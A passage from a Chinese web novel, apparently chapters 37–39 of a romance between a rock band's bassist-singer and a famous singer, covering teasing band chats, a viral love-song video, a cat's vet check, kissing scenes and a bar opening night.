而楚澄和况野,一个人开了酒吧,一个人管着她的修理厂,就许风扰一心一意搞音乐。 所以阿金折腾来折腾去,又有什么用 大不了就少点活计,一年之后再上臺呗。 许风扰抿了抿唇,心情谈不上高兴,莫名其妙有点堵着,却没办法说什么。 大家都是成年人,很难再像年少时一般纯粹,音乐之外还有生活。 不过楚澄也提起了件事,说之前的导师找到她,问她们能不能参加过段时间的S大百年校庆,顺带给学弟学妹表演个节目。 说来好笑,之前让领导无比头疼的坏学生,现在居然也能当上荣誉校友了。 许风扰答应了楚澄一声,继而又问另外两个。 【你们两有时间不】 只有她和楚澄是S大毕业的,但在之前,燃陨乐队刚成立时,是借了S大的场地当练习室,不然她们都不知道去哪裏排练,所以呈着这份情,另外两人都说了好。 这事就如此定下,公司那边只需通知一声就行,反正当年签下合同的自由度够高,不然她们也不会几次跑到酒吧唱歌。 消息到此结束,许风扰又发了个消息,催促着她们拍视频。 这事也算是燃陨乐队的老传统了。 之前不瘟不火的时候,几人想方设法地找曝光,试图引流。 思来想去后,最后每个人都在视频平臺注册了号,不爱唱歌的楚澄、况野弹弹吉他、打个鼓,许风扰唱歌或者练贝斯换着来,纪鹿南弹琴之余还秀个老婆、孩子,反正每隔一段时间都会发一个视频,她们习惯了,粉丝也喜欢,要是太长时间没发,还会到处催个更。 当时阿金一提,许风扰第一时间想到的就是这个。 手机被关上,随着“啪”的一声,灯光随之亮起。 比起许风扰那狗窝,柳听颂的琴房可好了不止一点。 许风扰四处打量了下,便将跟过来的三斤关在门外。 大猫爱胡闹,再惯着也不能把它放进琴房。 气得三斤直叫唤,伸出爪子挠门。 不久后,音乐声响起。 ———— 喧闹商场中,突然传出一声特别的提示音,左手提着袋子、右手拿着奶茶的莫岱突然一激灵,把奶茶往朋友怀裏一塞,急急忙忙就把手机、耳机掏出,解锁锁屏,再点入APP一气呵成,瞬间就沉浸在视频裏。 旁边的朋友被吓了一跳,瞥见屏幕后又露出了然神色。 莫岱是燃陨乐队的忠实粉丝,燃陨乐队的每一首歌、哪怕是翻唱都被她无数次单曲循环,并不断推荐给周围朋友,所以朋友早已习以为常,并往旁边墙面一靠,做好等会被疯狂安利的准备。 可这一次莫岱却没有像之前一样狂热,反而僵在原地,露出极其微妙的表情。 “怎么了?” 这样的反差让朋友露出好奇表情,继续追问道:“不好听?” “怎么会不好听?!”莫岱下意识反驳,可表情依旧复杂。 “那是怎么了?”朋友更迷茫了。 “就是、就是……”莫岱欲言又止,好半天才憋出一句:“有点不对劲。” “到底是怎么了?!”朋友实在好奇,直接将她耳机抢掉一只,脑袋挤向屏幕。 熟悉的声音响起,虽然朋友对燃陨乐队不怎么感冒,但在莫岱一再推荐下,她还是能认出这是燃陨乐队的贝斯手兼主唱。 看起来没什么问题啊…… 屏幕裏的人依旧穿着宽大白色短袖,许久未打理的白发露出些许黑色发根,发尾已垂落至平直锁骨下,精致眉眼低垂着,往日的桀骜肆意,在音符中变作专注与沉静,骨节分明的手指压住黑白琴键,温声轻唱。 朋友挠了挠头,说道:“这有什么问题?你家贝斯手改弹钢琴了?” “阿风本来就会弹钢琴,”莫岱当即出声反驳。 “那是怎么了……”朋友声音一转,诧异道:“这歌还好听的,哎不对!” “这怎么是首情歌!” 朋友终于反应过来,懵懵道:“你家那位又酷又丧、天天喊着梦想与自由、打死不唱情歌的乐队主唱,现在怎么黏黏糊糊的” 莫岱不知摆出什么表情,沉重至极地点了点头。 而弹幕中的问号不断,好像都在诧异许风扰的突然改变。 就…… 就好像她们的主唱在消失这段时间裏,突然谈了个恋爱一般! 众人惊恐。 而视频裏的人还在哼唱,略微改编过的调子,少了原曲的欢快,在许风扰极温柔的曲调下,更显深情。 “Cause I dont think I could get over you。” “Said too many things I didnt mean。” “But youre the one I never wanna lose。” 她的侧影迎着灯光,微颤的睫毛像米色的蛾翅,在眼睑下映出淡淡灰影,柔软又温和。 “Its you every time。” “I choose you every time。” 谁也没想到,在节目最后一期的爆火下,被掀起各种舆论,却不曾理会半分、一直保持沉默的许风扰会在此刻突然出现,一改往日乖戾锐利的姿态,露出少见的柔软。 视频裏的评论区满是疑惑,不断有人提问,说许风扰在这段时间经历了什么 可被点赞无数的问题,却没有得到任何答复,就这样伴随着各种猜测,置于评论顶端。 而更多人则是沉浸于许风扰少有的温柔歌声裏,就连往日怎么不喜欢燃陨乐队的人,都给予了不错的评价。 许风扰不曾知晓,视频发布之后就开始练起贝斯。 玩乐器就是这样,几天不练就生疏得不行,像是皮扯着骨头,怎么动都觉得僵硬,只能硬着头皮一遍又一遍地练。 直到定好的闹钟响起,她才恍惚抬头,放下贝斯后,坐在远处缓了缓,继而才拿起手机。 燃陨那几人闲得发慌,又开始一遍又一遍的喊她。 许风扰微微皱眉,刚想催促她们快去练习,把欠下的视频发了,可下一秒却瞧见楚澄消息,整个人都顿住。 只见聊天界面中,楚澄连发了七八张图片,都是她刚发的视频截图,图中用红线连画几个圈,都在她周围脖颈处,将那些残余的淡淡红印一一标出。 上次还没有调侃够,这次又来。 其实那些吻痕已经消散得差不多了,若非楚澄等人过分,按着记忆中的那些红印位置,瞪着放大镜眼睛,一点点细细查看,这才能将它们全部标出来。 许风扰耳垂一红,恼得不行,往日都是皮笑肉不笑调侃其他人的人,这下终于被楚澄她们抓到小辫子,被笑了一次又一次。 但她又没办法,连反驳都不知道怎么反驳。 还不等她说什么,楚澄又发出消息。 【怎么不说话了和听颂姐同居以后就睡那么早】 【补药啊补药啊,许老师我们再研究一会猫咪后空翻行不行】 【猫咪哭泣.JPG】 【阿风没有夜生活,我担忧,阿风有夜生活,我空虚】 【阿风,你还记得大明湖畔的乘风CP吗?记得我们曾经的甜蜜吗?】 许风扰气不打一处来,眼瞧这楚澄越来越过分,急忙往键盘按,可况野又在这时出声。 【你别闹,不要影响听颂姐按照图片,重新加深印记】 纪鹿南:【已捂住昭昭眼睛】 纪鹿南:【听颂姐记得往脖子中间咬一口,不要漏了】 人在最无语的时候,果真会被气笑,许风扰咬着牙,愣是没能再说出什么。 而且,事情已经到了这种地步,再辩解也没有什么用了,索性打开门去找另一个位主角,要和她再翻个旧账。 脚步声响起又落下,极简风格的客厅亮着壁灯,之前还让许风扰不要坐在地毯上的人,现在却斜坐在她之前的位置。 衬衫换作熟悉的墨绿色睡裙,吹干后略微蓬松的发丝披散,后背镂空处露出大片白皙肌肤,连深陷在脊柱两侧的美人窝都能清楚瞧见,一双长腿曲折,交迭在一处,即便只能瞧见背影,也觉得分外撩人。 许风扰没有出声,隐于暗处,静静看着那边。 逗猫棒上的铃铛被甩出丁零当啷的响声,银白的缅因大猫左扑右抓,跑来跑去半天,还是没能学会后空翻,甚至被逗急了,它还一把抓住羽毛,用后腿连环踹。 柳听颂看着它撒脾气,耐心等它松开后,才又将逗猫棒挥起。 大胖猫脾气来的快也去得快,三秒之后又甩着大尾巴,踏踏地跟着逗猫棒跑。 许风扰倚着墙,不知在想什么,刚刚被惹出的恼意,现在又消散不见,变作少有的安静。 柳听颂不曾发觉,又连教了几次,这大猫一点不上道,还以为主人今天想和它多玩一会,开心的不行,哪怕把自己转成猫猫陀螺,也不知道翻个身。 柳听颂最后只能放弃,伸手抱住大胖猫,要它用两条腿站立在地毯上。 许风扰瞧不见她表情,只能听到她用无奈又带着笑意的声音,喊道:“笨猫。” “喵,”大猫叫了一声,也不知道能不能听懂。 “笨蛋小猫。” “喵。” “再学不会后空翻,她就不要你了。” 缅因睁着大眼睛,甩着毛茸茸的尾巴,又是一声:“喵。” 许是不耐烦了,它又伸着爪子去够柳听颂戴在脑袋上的发箍,就是之前置于床上、被许风扰瞧见的那一个,毛茸茸的三角猫耳,和缅因的耳朵有几分相像,却更大一点。 许是为了逗猫,现在又戴上了。 柳听颂微微后退,不准它抓。 “喵,”大猫开始生气。 柳听颂就学着它:“喵。” 三斤像是震惊了,好像在怀疑自己的主人变成了猫,一下子呆在哪裏,连瞳孔都放大,看看猫耳朵,又看看柳听颂,一脸不可置信。 “喵?”三斤试探一叫。 “喵?”柳听颂一直学着它,连声调起伏都一模一样。 “喵喵?”三斤又想伸爪去抓。 “喵喵?”柳听颂捏住它的山竹,摇晃两下。 一人一猫也能玩得开心。 许风扰忍不住笑出声,声音将前头的人吸引,三斤扭转大脑袋,开始朝许风扰喵喵叫,不知是欢迎,还是请求援助。 而柳听颂没回头,只是将大猫放下。 缅因粘人,当即乐颠颠就往许风扰这边跑,围着她的小腿转圈撒娇。 许风扰就笑,生怕大胖猫多走几步,弯腰曲腿就将猫抱住,大步走到客厅后,才慢吞吞放下。 柳听颂依旧不理她,低头整理猫条。 这些都是她用来诱惑三斤学习的,但无奈三斤怎么都学不会,所以她要将这些猫条没收,一条都不给笨猫。 气得三斤喵喵直叫,又不敢做什么,只能贴在柳听颂身边撒娇。 许风扰坐到柳听颂旁边,抬眼瞧她。 那人表情依旧,看不出来情绪,直到将所有猫条都放进透明储物盒中,才看向许风扰,语气平静:“练完了?” “生气了?”许风扰将手机丢在一边,试探出声。 “没有,”柳听颂摇了摇头,又道:“我生什么气?” 她说话时,脑袋上的耳朵就跟着晃,好像随时就要塌下来,比吃不到猫条的三斤还可怜。 许风扰忍不住笑起,直接伸出手,一手揽腰,一手勾住对方腿弯,抱进自己怀中。 另一人没有阻拦,就这样横坐在许风扰大腿上。 “怎么了?”许风扰将脑袋抵在她肩膀,声音放柔,哄道:“我们小猫怎么不开心了?” 旁边的三斤竖起耳朵,还以为在叫自己。 柳听颂则低头,只道:“困了吗?洗个澡就睡觉吧。” “不睡,”许风扰摇了摇头,又偏头看向另一边:“想吃葡萄。” 另一人心裏憋着气,故意被那样折腾了一通,哪裏会舒服 洗澡时冲了好长时间的温水,才将这人故意折腾出来的欲念压下,如今即便极力克制,也不像往日那般温和。 “姐姐,我想吃葡萄,”那人向来无赖,见柳听颂不答应,又开始在她耳边哼。 “好久没有吃葡萄了。” 柳听颂假装不知道她在医院裏吃了多少水果。 她无声一瞥,那家伙就对她眨眼,比不得许风扰无赖,最后还是柳听颂屈服,伸手往茶几一够,扯了一颗捏在指尖。 那人就张开嘴,半点自己动手的意思都没有,过分得很。 柳听颂抿了抿唇。 还能怎么样 只能喂她。 葡萄刚被咬住,指尖就躲开,摆明了不想碰许风扰,可那人却主动凑过去。 紫色葡萄蹭过柳听颂红唇, 许风扰不曾着急,就好像在玩一场抓小猫的游戏,咬着葡萄压着对方的唇。 冰凉的果肉在唇间碾压,隐隐能嗅到一点果香。 柳听颂微微抬眼,便落入带笑的碧色眼眸中。 还是没能抵抗住,还没有一会就被撬开唇齿。 柳听颂伸手勾住她脖颈,指尖落在凸起的骨节。 被咬开的葡萄冒出甜腻的汁液,一点点往她舌尖送,还没有来得及品尝,又被那人蛮横咬住,将呼吸掠夺。 裸露的脊背被手覆盖,刚练完琴的厚茧明显,每一次抚过,都能掀起阵阵战栗,绯色随之散开,如同颜料掉入水中,一点点晕开。 随着动作,裙摆不由往上扯,露出的一双长腿微微曲起,白净脚趾蜷缩,淹没在毛茸茸的地毯中。 果肉被碾碎,如贝壳般的牙齿轻轻碰在一起,脑袋上的银白猫耳晃了下,不再像之前一样往下塌。 身后的落地窗还倒映着城市夜景,高楼耸立,灯火明亮,熙熙攘攘的人挤在街道中。 而柳听颂与许风扰躲在灯光微暗的角落接吻,葡萄的汁液散开,又在碾磨中消失不见。 许风扰慢慢吞吞拉开距离,又以额头抵在她额头,用微哑的声音道:“我好像忘记了小猫不能吃葡萄。” 柳听颂不说话,又仰头要吻。 可许风扰却退后,不准她靠近,只道:“晚安。” 她温柔又残忍地将今夜止于这个吻,告知对方今夜的结束。 勾在脖颈的手收紧,怀裏的女人恨不得将整个躯体都压进对方的骨血中,之前的气闷消失得无影无踪,换作另一种不知餍足的郁闷。 她又喊:“坏东西。” “晚不安。” 不等片刻,她又柔着声音道:“好梦,宝宝。” 第38章 屋顶工和她的大明星 又是一日清晨, 许风扰早早就起床,收拾好一切后就将大胖猫赶到航空箱中。 从昨天早上开始,三斤突然食欲不振, 连逗猫棒都玩不起来, 整个猫都焉不拉几的。 许风扰、柳听颂两人看得焦急,思来想去也没找到原因, 线上问过医生后,又观察了一晚上,仍然觉得不踏实, 索性今天带着大胖猫去医院做个检查。 许风扰这边刚准备好, 柳听颂便从房间中走出。 除了要带猫咪去做检查外, 今天还是楚澄的酒吧试营业半年后,正式开业的日子。 许风扰上次就因通告而遗憾错过, 这回人还在医院中, 就被楚澄提前约好, 昨天还又打电话说了一遍。 因此缘由, 柳听颂化了淡妆, 许风扰也换下日常款的短袖, 内搭黑色无袖, 露出一截细腰,中间一件白衬衫,外穿深蓝牛仔外套,再加破洞牛仔裤,银环耳扣与唇环,银白长发略显凌乱, 却恰好与穿搭相衬。 终于有了点乐队主唱的感觉,只是表情略微沉郁, 有些不大开心的样子。 走近的柳听颂刚想询问,便见许风扰低头,将口罩、鸭舌帽戴上,虽然已提前和宠物医院那边打过招呼,但为了避免不必要的麻烦,还是得稍作掩饰。 询问的话就这样被堵在唇边,柳听颂没有多想,只当她还在担忧三斤,继而便转了话题,问道:“你看一下手机,我们定好的花篮送过去了吗?” “让花店那边不要太迟了。” 许风扰应了声,拿出手机就要看消息。 被备注为花店的联系人,早在两分钟前就发来已送达的消息,而压在花店下面的,是李见白的未读消息,不知是有什么急事,一连发了七八条。 她一向忙碌,上次许风扰住院,她也只是抽空过来看了看,问过其他医生后又交代几句,不过十几分钟就匆匆离开,故而若非极要紧的事情,她决不会一而再再而三地发来消息。 正当这时,又一条消息发来。 许风扰不露痕迹地垂了垂眼,将手机黑屏,收回原处,语气依旧道:“已经送到了。” 柳听颂没有察觉她的异样,在说完之后就蹲下,看着航空箱裏的胖猫。 虽然已经是最大号的航空箱,但对于大胖猫而言,还是太过狭窄,只能可怜兮兮缩在裏面,抬起脑袋,用鼻尖蹭了蹭柳听颂的指尖。 “三斤乖,”柳听颂也是个惯孩子的,不然也不会任由大胖猫长到二十五斤,才不得不减肥,现在瞧见它摆出这样委委屈屈的模样,自然心疼得不行。 许风扰也不催促,斜倚着鞋柜,低垂着眼看她。 “一下子就好了,等会回家给你开两个罐头好不好?”柳听颂好像已经忘记三斤要减肥的事。 裏面的小猫竖起耳朵,连喵喵声都有劲了,如果不是还被关着,估计下一秒就要扑到柳听颂身上了。 “胖猫,”许风扰在此刻出声,不知是喊猫,还是提醒柳听颂。 航空箱裏的三斤“喵”了一声,表示回应。 柳听颂哄好小猫后才去换鞋。 许风扰的视线便随之移开,落在她面前的全身镜处。 柳听颂比她穿得简单,宽大的蓝白条纹衬衫当外套,裏头是白色露腰吊带,长发被卷成大波浪,撩至肩头一侧,目光停留在她唇间,被口红涂抹过的嘴唇泛着盈盈水光,看起来就…… 很好咬。 视线移开,许风扰突然开口:“柳听颂,是不是在偷偷学我?” 那人疑惑抬眼,不懂对方为什么会这样说,还以为这祖宗又要闹脾气了,这段时间可没少折腾,一点没辜负那天晚上所说的话,换着花样“折磨”柳听颂。 “衬衫,”许风扰扯了扯自己衣服,又看向柳听颂的外套, “露腰,”她戳了下自己的马甲线,又看了眼柳听颂的腰。 被口罩隔绝的声音有些发闷,却不影响语气中的恶劣。 “你是不是故意要和我穿一样的?” 她这话说得好没道理,明明是早饭过后,两人才各自回房间换衣服,中途都没见过面,直到此刻才互相知道对方穿什么,就算柳听颂想学,也无处可模仿。 就是故意闹腾。 柳听颂站起身,也不生气,只道:“那我去重新换一套?” 柳听颂的性格不算好,还是受到些许年少成名的影响,虽不至于像其他人一般耍大牌,摆出一副眼高于顶的模样,但也有几分傲气在,可这点傲气在面对许风扰时,全都化作温柔的好脾气,一退再退不够,还能再往后退退。 许风扰不说话,却在对方转身要走时伸手,揽腰勾到自己怀裏。 “我又没让你换,”她闷闷出声,把脑袋搁在她肩膀。 那这是…… 柳听颂还没有来得及细想,那人揽在她腰间的手又收紧,故意压着她往自己怀裏靠。 “你怎么只哄猫,不理我,”刚刚闹腾没有得逞,许风扰又闹起其他。 原来这才是原因吗? 柳听颂哭笑不得,拍了拍环在自己腰间的手,当即就哄:“那我现在理理你?” 许风扰却摇头,又冒出一句:“柳听颂,你能不能莫名其妙和我道个歉?” 往前看向镜子,难以想象,看起来那么酷的人,怎么会那么无理取闹,比被缩在航空箱裏的大猫还有脾气。 也亏是柳听颂惯着她,温声就道:“对不起宝宝。” “我错了,原谅我好不好?” 许风扰的怀抱算不得多舒服,还是太瘦,即便有柳听颂这几日的努力投喂,她也不能像三斤一样一下子就膨胀起来,所以凸起的骨头总是将人硌得难受,可柳听颂却软下身子,完全贴向这人。 “不好。” “不想原谅你。” 许风扰闹起来就没完没了的,被配合了一遍还不满意,下颌擦过对方衣领,将衬衫往下推,便露出一截瓷白的肩。 下一秒,柳听颂就瞧着镜中的人,没有一点犹豫和愧疚,甚至十分理直气壮地拉下口罩,咬住她肩膀。 “嘶……”柳听颂吃痛,越发往后仰。 那人还不肯松开,像个大狗似的,用犬牙碾在她肩头,咬出一圈红色牙印。 柳听颂不由抬手,伸往后,抚向这人脑袋,指尖在白发中来回穿梭,表示安抚。 可这样的举动却没有换来许风扰的退让,环抱在腰间的手更紧,几乎可以是紧紧勒住对方。 “怎么了?” 柳听颂再迟钝,也察觉到了许风扰的情绪变化。 “嗯” “宝宝?” 一声比一声柔和的语调,却没有得到任何回应。 尖牙咬过的地方又被吮吸,留下或深或浅的痕迹,将本就凹陷下去的印记涂抹得更重,一两天都不可能淡下去。 柳听颂没有反抗,仍由她胡闹,被咬的痛楚与舌尖舔舐过的酥痒交织,冰凉唇环不断擦过中,变作一种奇异的感受。 贴在腰腹的手掐住侧腰,将露出的皮肤全部遮挡,只能瞧见手背上微微鼓起的青筋,像在宣誓某种占有欲。 柳听颂闷哼一声,泛起水雾的半阖眼眸看向镜中。 镜中画面莫名怪诞,因鸭舌帽的缘故,许风扰相貌被遮挡,而唯一能瞧见模样的女人,却被身长肩宽的她束在怀裏,埋头啃咬,让人想起某些特别的片子。 最关键的是,许风扰还穿着牛仔外套和无袖,像极了裏头的那种屋顶工,而她…… 一个颇有名气的歌手 有了身份代入后,便显得越发真切,柳听颂呼吸一顿,瓷白的肌肤泛起靡丽的红,又被许风扰添上更浓重的艳色。 抚在后脑的手无意识收紧,揪住对方发尾,扯出些许疼痛。 肆意妄为的家伙终于被制止,微微抬头,便也瞧见镜子中的画面,许是想到一块去,她突然闷闷笑起,哑着声音喊道:“我的大明星,你可别千万便喊出声,不然……” 柳听颂还是没能忍住脾气,掀开眼帘,白了她一眼。 覆在薄茧的手在腰腹摩擦,掀起略微刺痛的感受,贴近的心跳逐渐同步,许风扰偏头用脸蹭了蹭对方,像一个耍完脾气的大狗在和主人撒娇。 “拍个照片吧,”许风扰突然这样说,戴着银环的唇擦过对方耳廓。 她慢吞吞道:“这样挺好看的。” 这能让人想入非非的一幕,哪裏适合拍照 可奈何柳听颂惯她,连肩膀都被许风扰又啃又吸,咬成那凄惨又斑驳的样子了,更别说拍个照片了。 “用你的手机,”许风扰都没等柳听颂出声同意,就自己拍板决定。 柳听颂无奈,只能按照她说的来。 许风扰也不管她拍得怎么样,姿势依旧,只是将脑袋埋到柳听颂脖颈,依旧看不见脸,甚至还趁机又咬了两口,直到那人拍了拍她的手背,表示拍完了,才慢吞吞抬起脑袋。 “怎么了?”柳听颂又拍了拍她脑袋,再一次询问。 许风扰不想说,只道:“没事了。” 她每次遇到不想说的事情,就会说没事。 柳听颂还想再说些什么,许风扰却偏头亲了亲她的脸颊,继而便将航空箱提起,声音轻快道:“走吧。” 情绪来的快去得快,一下子就被哄好,完全看不出刚刚的压抑。 她催促道:“快点,不要迟了。” 也不知道是谁刚刚赖在门前不肯走。 柳听颂不知该摆出什么表情,最后只能将掉落的衬衫拉起,遮住那满* 是吻痕与牙印的肩膀,如许风扰一般,戴上口罩与鸭舌帽。 合上的房门,发出一声响。 将残余的旖旎留在房中。 第39章 馋肉了 因提前预约的缘故, 缅因的体检很快就结束,除了体重超标的老问题,其余都健康得不行。 医生琢磨来琢磨去, 最后看向柳听颂与许风扰牵着的手, 很隐晦地说:“小猫可能会因为主人的恋爱而吃醋,以至于心情不好, 吃不下东西。” 她话音一转,又说:“但也有可能是因为减肥的原因,小猫突然吃不到喜欢的零食, 也会和主人赌气。” 反正不管原因是哪一个, 总之三斤身体没有一点问题, 就是气性大而已。 柳听颂、许风扰两人闻言,顿时哭笑不得。 尤其是许风扰, 一上车就把三斤抱出航空箱, 捏着它的山竹, 训道:“你是什么活祖宗?” “好的不学坏的学, 这才和我认识几天, 就把我的坏脾气学完了。” 原来她也知道自个脾气坏。 柳听颂扬了扬唇角, 像是笑了下。 此时的地下停车场灰暗且安静, 半天也不见有人走过,柳听颂索性将灯打开,又将音乐放起,等着许风扰教育大猫。 被迫站在许风扰腿上的大猫颤颤巍巍,立起的后爪在牛仔裤上抓出一个个猫爪印。 “大坏猫,”许风扰眯着眼盯它, 努力装出凶神恶煞的样子。 “让我和你妈妈担心了那么久。” 许是听懂了,三斤眼神飘忽, 又心虚地“喵”了一声。 “就你还吃醋,”许风扰把它压在腿上,又去摸它胖乎乎的肚子,气鼓鼓道:“我可比你先认识你妈妈,要真算起来,你才是那个小三。” “喵!”大猫被摸烦了,要用后腿去踹许风扰,却被许风扰一下子抓住后脚,只能发出气呼呼的猫咕噜声。 一直看着这边的柳听颂,直到现在才出声,斥道:“三斤。” 大猫默默缩回脚,看着柳听颂发出可怜兮兮地一声:“喵。” 哪怕是只猫,也懂得欺软怕硬,知道惹了许风扰不要紧,只要喵喵几声就可以把她哄好,甚至还能骗到一根猫条,但要是柳听颂生气了,那就几天都吃不到零食了。 缅因眨着碧绿的猫眼看着柳听颂,讨好似的甩着银毛大尾巴。 这下倒不像个猫了,像条谄媚的小狗。 柳听颂伸手戳了戳它脑袋,又道:“要好好听你小妈的话,知道了吗?” 一个欺软怕硬还爱吃醋的猫,一个喜欢顺着杆子往上爬的妈。 许风扰抬眼瞪她,再捏住缅因的大爪子。 这家就没一个好东西。 被瞪的柳听颂笑意不减,一点也不心虚。 “坏猫,”许风扰愤愤喊了一声。 “喵!”缅因无辜眨眼。 车裏的音乐还在循环,是那首熟悉的《Want You All The Time》,许风扰不知道对方是什么时候听到的,只知道从第二天开始,柳听颂就开始反复循环这首歌。 做饭也听、洗澡也听,有时许风扰深夜起床,也能听到从她房门缝隙传出的歌声。 只是有许风扰在时,她会稍微收敛一点,放原唱,若许风扰不在跟前,那就是许风扰弹唱版,不知为视频贡献了多少播放量。 许风扰越想越恼,拍了下小猫爪子,又去拍柳听颂的手。 两个坏东西! 那欺软怕硬的大猫挨了打,当即可怜兮兮“喵”了声,若不是不知情的人路过,还有以为它受到了多大的虐待。 可许风扰偏偏最吃这套,登时就心软,抱住大猫后就往它脖子埋,猛吸一大口后,又对着它的脑袋瓜吧唧一口。 怀裏的缅因没有反抗,只是甩了甩尾巴,表示自己的愉悦心情。 如果能听到猫的心声,它现在肯定在感慨,人类可真好哄。 可惜被大猫玩弄于爪间的许风扰不知情,只说:“我们先把三斤送回去,到外面吃个晚饭后再去酒吧?” 前头的柳听颂答应一声,却没有其余动作。 惹得许风扰疑惑抬头。 柳听颂瞧了眼猫,再看她。 许风扰拧眉,不解地问:“怎么了?” 柳听颂像是想了想,学着刚刚的三斤模样:“喵?” 车厢裏的灯光不算明亮,朦胧撒在她眼睫,如黑曜石般冷锐的眼眸变得可怜又委屈。 像是只受到不公平对待的猫。 她生怕许风扰不懂,又说:“我也挨打了。” 许风扰微微挑眉。 她伸出手,试图展示并不存在的红,可许风扰只能瞧见白皙薄皮下的淡紫脉络。 “小妈要一视同仁,”那人面不改色地这样说,好像不明白这个称呼的含义,喊得无比自然。 许风扰嘴唇碾磨,愣是没能说出什么话来,只憋出一句:“柳听颂你不要脸。” 那人就笑,很是执着:“所以你打算什么时候亲我?” 许风扰语气复杂:“柳听颂你现在就像个亲亲怪。” “因为宝宝不想亲我,所以我只能自己争取,”那人说得凄惨。 被怀裏的三斤不耐,在这个时候挣脱出许风扰的怀抱,跑到旁边座位坐下。 许风扰没有其余动作,就坐在原处看着她。 对面的柳听颂眼眸柔软清亮,其中只倒映着许风扰的身影,哪怕是小猫也不曾挤入半点。 “喵?”她又学猫,一个招数翻来覆去用。 许风扰抿了抿唇,稍稍凑近。 而那人却伸手,勾住她脖颈,压着骨节往前。 本要落在额头的吻,就这样落在唇边。 不等许风扰反应,她便用舌尖撬开对方唇齿,将这个吻加深。 许风扰下意识往后想躲,她便越发往前,以一个极不舒服的姿势继续。 旁边的猫有一种习以为常的平静,甚至慢悠悠趴下,把脑袋垫在爪子上,用圆溜溜的猫瞳看看这个,又看看那个,不知在打量什么。 衬衫又滑落,露出红痕斑驳的肩头,之前的牙印还未消去,像在控诉着许风扰之前的过分行为。 另一人余光窥见,还是没能狠下心阻拦,将主动权完全交于对方。 但却不曾想,对方是个不知节制的家伙,只要许风扰放任一点,她便想得寸进尺地更进一步。 许风扰微微抬眼,又被含住薄唇,虚扣上的银环摇摇欲坠,被舔舐得歪斜。 好不容易骗来的吻,还是自己做主导,柳听颂的动作有些急切,哪怕察觉到旁边有人走过,也不肯分离。 许风扰略微挣了下,勾住脖颈的手就往下,扯住衣领。 若不是现在还在外头,两人隔着前后排的距离,许风扰都要觉得这人想要扑过来,生嚼了自己。 许风扰承认,这几天确实有故意吊着柳听颂的心思,尤其在厨房的那一遭,撩拨起火就停下,后面更是过分,不管柳听颂怎么哄着她,她也就轻碰柳听颂脸颊几下就结束,像今天这种咬肩膀,都算极亲密的行为。 所以柳听颂着急也正常,但这也有点太过…… 饿了 舌尖被含住,滚烫呼吸落在脸颊,还没有来得及细想,那人就将她的注意拉扯回。 衬衫被揉皱,唇瓣被碾压后,覆上一层盈盈水光,不等再看又被含住,反反复复地玩弄,直到泛起更浓郁的绯色。 直到许风扰不耐,抬手推了推对方,那人才心不甘情不愿地分开些许,可还没过瞬息,她紧贴过来,浅啄了几口后才停下。 被揪着的衣领还没有松开,许风扰只能由着她亲,继而才哑着声音斥了句:“柳听颂,你是狗吗?” 她再不阻拦,恐怕就要被亲肿了。 那人的视线垂落,还停留在红润的唇上,字句被刻意放慢:“嗯,馋肉了。” 残余的欲念还未消散,语调撩人,还想要继续下去的心思一点没遮掩,好像只要许风扰一点头,她就能将座椅放下。 许风扰欲言又止,最后却拍开她的手,只道:“开车。” 再这样耽搁下去,晚饭就别吃了。 柳听颂的视线扫过许风扰耳垂,继而就有轻笑声落下,不等许风扰恼羞成怒,她就立刻转身。 沾了便宜之后就识趣得很,惹得许风扰又瞪了她一眼,最后扑向旁边的缅因,埋在它肚皮撒气。 不久,停留许久的轿车终于驶出停车场。 ———— 待许风扰两人赶到酒吧时,已是夜幕时刻。 裏头热闹,还未走进裏头,就能听到节奏强烈的音乐声,许风扰不由压了压帽檐,往后抓住柳听颂的手。 她平日不大喜欢来这些地方,嫌音乐声与人声夹杂后太过吵闹,对于许风扰这种听觉过分灵敏的人而言,每一秒都像是折磨,次次踏出酒吧后,耳朵都会泛起一阵空鸣,好像灵魂终于踏到实地,骤然松了口气。 但楚澄和况野喜欢,以前经常聚会安排在这些地方,还笑许风扰奇怪,搞摇滚的人嫌酒吧吵。 不过自纪鹿南结婚生娃后,她们就安分了不少,就连楚澄开的酒吧,她们也只在这儿聚过一两次。 思绪间,许风扰已牵着柳听颂踏入其中。 蔚□□光与角落中漆黑交织,碰撞的酒杯有琥珀液体洒落,有人在大声聊着天,完全不管臺上的乐队在唱什么,四下望去,竟没有一个卡座是空的。 生意很不错的样子。 许风扰下意识放慢脚步,紧随其后的柳听颂便贴向她。 “小心些,”许风扰低声说了句,牵着对方的手更紧。 柳听颂只点了点头,察觉到周围扫过来的视线,却没有出声提醒,反倒维持着这极近距离,继续跟在许风扰身后。 扬起的衣角贴在一块,须臾又分开。 直到酒吧稍偏僻处,才见楚澄一路小跑过来。 “阿风,”她先是喊了一声,视线明晃晃地往下,定在她们相牵的手上,脸上笑意更浓,即将喊出的称呼又换了一个,扬声就道:“嫂子!” 终于可以让“听颂姐”这个蹩嘴称呼滚蛋了! 柳听颂还没什么反应,许风扰就先被吓了一跳,没好气道:“不知道的还以为你在军训,那声音和教官喊得一模一样。” “嘿,我喊我嫂子怎么了!这样响亮,你懂不懂?”楚澄一点不让她。 她说完这些还不停,又眯着眼靠近,视线细细往她脖子周围扫过,像是侦探在寻找证据,认真又仔细,直到确定真的没有后,才啧啧几声道:“你是不是抹遮瑕了这脖子干净得诡异。” 许风扰白眼一翻,还没有来得及出声,楚澄就把脑袋凑到柳听颂那边,说:“嫂子你怎么不按我们圈出来的截屏标记?” “你别想着给她留什么面子,她最喜欢你啃她了,你想咬几口就咬几口,不用担心别的。” 震耳欲聋的音乐声也没能盖住她的声音,十分响亮,惹得周围卡座的人都看过来。 许风扰气得抬脚想踹她。 楚澄当即往旁边一跳,巧妙避过后就乐颠颠道:“瞧我嫂子把你惯的,什么坏毛病都出来了。” 现在终于没了顾虑,又可以摆出之前的欠嗖嗖的模样。 她们的停留已引起许多人的注意,毕竟都知道这是楚澄开的酒吧,裏头的客人,少部分是朋友,多的是燃陨粉丝,这也是明星开店的优势与劣势,没办法避免。 虽无人明说,但大家都猜到燃陨成员会来,好些粉丝一早就守在裏头,眼巴巴盯着门口,就等着她们过来。 再说,许风扰这遮都遮不住白毛,实在明显得很,就连路人都能认出她,更何况是粉丝,她刚一入门,就有不少人看过来了,更何况后头楚澄的赶来,那熟稔的态度,想装不知道都难。 只是…… 众人视线又落在被许风扰牵着的人身上,灯光晃眼,周围又黑,再加上鸭舌帽与口罩遮掩,更无明显特质辨认的缘故,众人无法猜出柳听颂的身份,只觉得有些眼熟,却不敢往柳听颂身上想。 